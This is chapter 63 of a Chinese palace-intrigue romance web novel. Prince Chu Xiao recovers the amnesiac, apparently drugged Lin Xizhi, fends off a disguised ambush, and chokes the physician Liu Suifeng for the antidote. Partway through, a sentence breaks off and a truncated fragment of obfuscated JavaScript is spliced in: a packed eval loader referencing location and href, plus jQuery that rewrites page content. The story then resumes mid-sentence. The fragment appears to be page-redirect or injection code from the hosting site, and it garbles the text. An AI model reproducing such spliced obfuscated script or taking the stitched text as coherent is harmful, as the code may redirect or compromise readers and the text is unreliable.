63. 脾气不好

    “我好像是叫之儿,但全名我也忘了,你说了我才又想起……你认识我?”林汐之仔细看着楚逍的脸,又道:“我看你也觉得眼熟,好像在哪里见过。”


    楚逍摇头道:“不只见过,亲过。”


    林汐之自己在京城到底什么状况她已完全记不清楚,眼下尤觉大事不妙,难不成是什么风流债找上门来了?可方才不是说她是誉王的未婚妻吗?怎么……诶?这人好像怪高兴的?


    她越想越不对劲,全然不记得哪里见过楚逍,却又似确实相识。


    楚逍坐在她身边,明白她记忆错乱,指尖轻轻蹭了她的脸,暗夜般眼睛似有初阳升起,照见林汐之疑惑又忧心的模样。


    “你病了,所以不记得,没什么坏事。”


    “什么?”


    楚逍拍去衣摆上的泥尘,叹道:“没什么……”他面向她,一袭着地,看清她的脸,“我想让你跟我走,你可愿?”


    林汐之呆住,楚逍于她如今就像陌生人,虽说看似个温雅之人,却好像内里还有一层,她想看清,却又看不清,半晌没说出话来。


    楚逍见她犹豫,望向关紧的窗扇,“三小姐若不愿意,也至少告知下官您住哪里,回头侯爷问起来,下官也好回禀。”


    跟随监视的探子到了此处林子便跟丢了,故而楚逍根本不知道他们是何住处,丰城人多地少,靠些海上的商贸来往维系民生,能有个像样的住处,不是容易的事情。


    林汐之本不想说,但他所说的侯爷应就是她的家人,她跟了柳随风离开,想必家里担心?


    “我们住在连更山林子里,不远处那溪流边上,桃林深处。”


    “柳随风果然会选地方,桃林……哄姑娘……”


    “他没哄我,他确实在给我治病,但是什么病我也不记得了,这个病就是会不记得东西,所以对不住,我真不记得你。”


    楚逍摸了她的头,“不要紧,我记得你,你跑不了,悍妇。”


    “悍妇”二字甚是熟悉,林汐之抓住了楚逍的手,紧紧握住,“不是,你叫我什么?”


    “没什么,我想……改日换个称呼。”


    她蹙眉看他,更奇了,这人认识自己,却似没有想要她记起他,这是什么意思?仇人?


    马车走着忽又停下,有人高声喊道:“是哪位贵人?到丰城是要下地狱的!”


    鬼羯下车掏了天崇卫的腰牌,“缙王殿下前来巡查丰城时疫境况,尔等有何事?”


    “三殿下?”


    “是三殿下?”


    “太好了,有救了。”


    难民模样的人交头接耳,方才那人又高声道:“丰城瘟疫横行,殿下还是回吧,别进城。”


    “诸位要走,便赶紧迁移,我还要进城救人。”楚逍打开小窗看了看,林间花团如七彩霞烟,马车旁的难民有些不太虚弱,他说了又关上,与林汐之鬼祟道:“一会儿打起来,你配合我,大喊救命,知道吗?”


    “什么意思?”


    “劳三小姐照我说的做。”


    林汐之有些明白,但不全,眨眨眼,点头道:“好……好吧。”


    马车外面果然传来打斗声,她更奇了,这是?等会!她还没说出来,楚逍已将她抱起,一只手按在她脑后,将她推向自己。


    “喊吗?”


    林汐之顿了一下,“啊?……喊,喊什么来着?”


    他蹙眉无奈,推开了窗,侧眼往外看,唇角扬起,“咬我。”


    “啊?怎么咬?”


    “咬你能看见的地方。”


    林汐之扑红的脸更红了些,不远处一涓泉流传来声响告知她身处何处,她低头张嘴,咬了他的耳朵。


    有人影自林间不断靠近,似从地里长出来一般凭空出现,他们提刀前来,没发现身后林间有一个风姿翩翩的男子,淡然含笑。


    楚逍耳尖轻痒,双手往上移了些,手指似触到一角流云,衣裙上的绸缎绢花软软画在他手中。


    林汐之咬着他的耳朵往上轻扯,耳边流水声盖过了打斗声,逐渐清晰,马车在自己移动,白马的嘶鸣声传来,车子往前冲了出去。


    楚逍将她抱紧,车马失了控制,往一旁倾转,两人失了平衡,一同倒下。


    楚逍无奈道:“你的医师好像在等你。”


    林汐之爬起身来,软愣的神色化开一抹冷艳,“为何要提不相干的人?”


    她打开户门,双手卷了缰绳,军马一声嘶鸣,车子猛地侧偏又回正,停在溪流乱石滩涂一侧,四匹军马停下,铁蹄躁动踢踏。


    楚逍半躺在车内,看呆了眼,“你真是悍妇啊……”


    “悍妇有事要做。”


    “什……不是……”


    林汐之关上门,干脆利落,坐在他身上,攥了他的衣襟将他拉起,“起来。”林汐之一双水眸冷艳中生出了缱绻,楚逍从未见过。


    “之儿,你可知道你在做什么?”楚逍撑着起来,细看她的神情动作,似在找什么机关将她关掉。


    “誉王殿下,我是你的妻子,你为何唬我?”


    楚逍一时无措,心虚道:“不……不是,我是怕吓着你……”


    林汐之似神智扭曲,用力闭了一下眼,脑海中有画面交叠错落,“我……我的身体……好像……跟我想的不同……”


    马车停在溪流旁,流水拍在石头上,泠泠欢响,不远处便是漫山桃林,鬼羯带戏子们追击贼人,不见踪迹。


    “你的身体?”


    楚逍不知到底发生何事,扶她坐起,她双手握了他的脖颈,闭眼吻了下去,舌尖轻软,撬开了他的唇。


    “之儿,你停下……我不想伤着你。”


    林汐之没有回应,双手开始用力拉扯他的衣裳,一面亲吻,一面说道:“我想……脱下来。”


    楚逍捏住了她的手,他知道她根本不是正常的状态,与她纠缠了片刻,重重回吻了她,侧掌敲在她后颈处。


    林汐之眼前一黑,倒在他怀里,他将她抱起安抚,那容颜安然静谧,与睡着时无异。


    “怎么回事?”他自语道,呼吸未平。


    鬼羯料理了“拦路虎”,带着其他人沿途寻来,柳随风出现在他们身后的,悄悄跟着。


    “主上,已料理干净,是大梁人。”鼻是鼻,眼是眼,嘴巴张开,说归说。


    柳随风自林中踏出,他认得鬼羯,“三殿下……那些难民哪里得罪你了?你竟全都杀了?”


    戏子们转眼望去,只觉得此人风姿极佳,生得温润干净,不认得。


    “难民年纪轻轻居然知道缙王,还目光炯炯,中气十足,会使匕首,还带着埋伏,啧,新鲜,尝一尝。”楚逍将林汐之留在车里,自己跳下车来。


    柳随风笑意依旧,一双眉眼生了秋水,站在那里等着他靠近,“殿下说的是,我方才也看见了。”


    “明知故问,我看你是来找茬的。”


    “殿下明察,我是来找之儿的。”


    楚逍眉眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15086046|158331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一压,思量片刻,抬手擦了擦唇角,低下头去,刻意吞吞吐吐,“那个……她还没……还没穿好衣裳。”


    柳随风眼中浮过一丝戾气,转眼消散,笑道:“那殿下着实很快。”


    楚逍动作一停,抬起头来,往前迈了一步,比他高几寸,向下睨着他。


    “你到底给她下了什么毒?”


    柳随风狡黠一笑,“如殿下所见,一点……就燃……”


    楚逍掐上了他的咽喉,五指慢慢收紧,“马上给我解了。”


    窒息感令柳随风面上充血发红,他渐渐有了难受的模样,无法说出话来,楚逍看着他,不断用力,直到他口唇开始乌青,他才松了手。


    “张画师与我说的只是失忆,记忆错落,可她的症状不止于此,你到底做了什么?”


    柳随风跌落在地上,大口呼吸,似久居深渊重见天日,犹觉活着真好,他又笑起来,“青楼女子,怎会告诉你其余的?就凭你那毒师?”他说着笑得更大声了些,气蹙一瞬,不断咳嗽。


    ……


    杨舒沁闭门不出,她听说林汐之被柳随风带走,楚逍终日颓唐,连日无法安睡,“是我害了表哥和嫂嫂,是我太没用了。”


    流茵将香线燃好,放进小炉里,“郡主,松松神,不是您的错。”


    杨舒沁嗅得枝叶松木的香气,有些昏昏欲睡,“这是什么香?”


    流茵摇头道:“奴婢不知,是早前宫里送来的,今日去找,忽然寻到,才想起,先前说是安神助眠的香料。”


    杨舒沁捻起玛瑙盖子,伸起脖子去看,昏昏沉沉,“嗯……倒真是有些助眠,我已许久没好好睡一觉了……”她将盖子放下,打了个哈欠,趴在桌上闭起眼来。


    流茵没什么感受,只觉得清新自然,反而有些神清气爽,她知晓杨舒沁脾气,没叫她去躺下,起身去柜中找了件薄被,盖在她身上。


    窗外杏花滴雨,刚晴的天翻着泥土的气息,流茵开门出去,一洒扫的女婢抬眼来瞧,跟上她,“流茵姐姐,郡主可好些?”


    “刚歇下,许是多日没睡好,我去厨房备些吃的,你们做自己的事,不许进去打扰,知道吗?”


    “是。”


    流茵一个个看过,记下了当值的脸面,转身离开。


    雀鸟落在枝头,啼唱婉转,凤儿留守归棠院,林禹赫每日到府中上药,柳随风先前留下了方子,指明了给林侯,楚逍吩咐了她照办。


    “巧儿,去倒些热水来。”林芸闲暇时便来看望,亲自给父亲上药。


    林禹赫腿脚好转,脾气又硬朗了些,“那医师到底带了之儿去哪里?怎就杳无音讯?”


    “侯爷,细作太多,也不知何时就在何处,杳无音讯,才安全,主上知晓的。”


    “那他就不能悄悄与我说说?”


    林禹赫有所埋怨,林芸本想和声撺掇,张嘴时又想了想,道:“算了,稳妥便好,总归是平安的,对吗?”她望向凤儿,冷了脸质问。


    凤儿见她今日不急不躁,点头微笑,“是,夫人放心。”


    “你们最好当真安排好了,如若有什么闪失,你知道我脾气不好。”林芸站起身来,拍了拍蹲久了压皱的衣裙。


    凤儿颔首应下,“是,夫人的话,属下亦会告知主上。”


    一旁擦琴的乐人偷偷一笑,“尊主脾气也不好。”


    “你再说一次!”楚逍手一松,木柴滚到了地上,他一手拿着斧子,一手指着柳随风大步走了过去。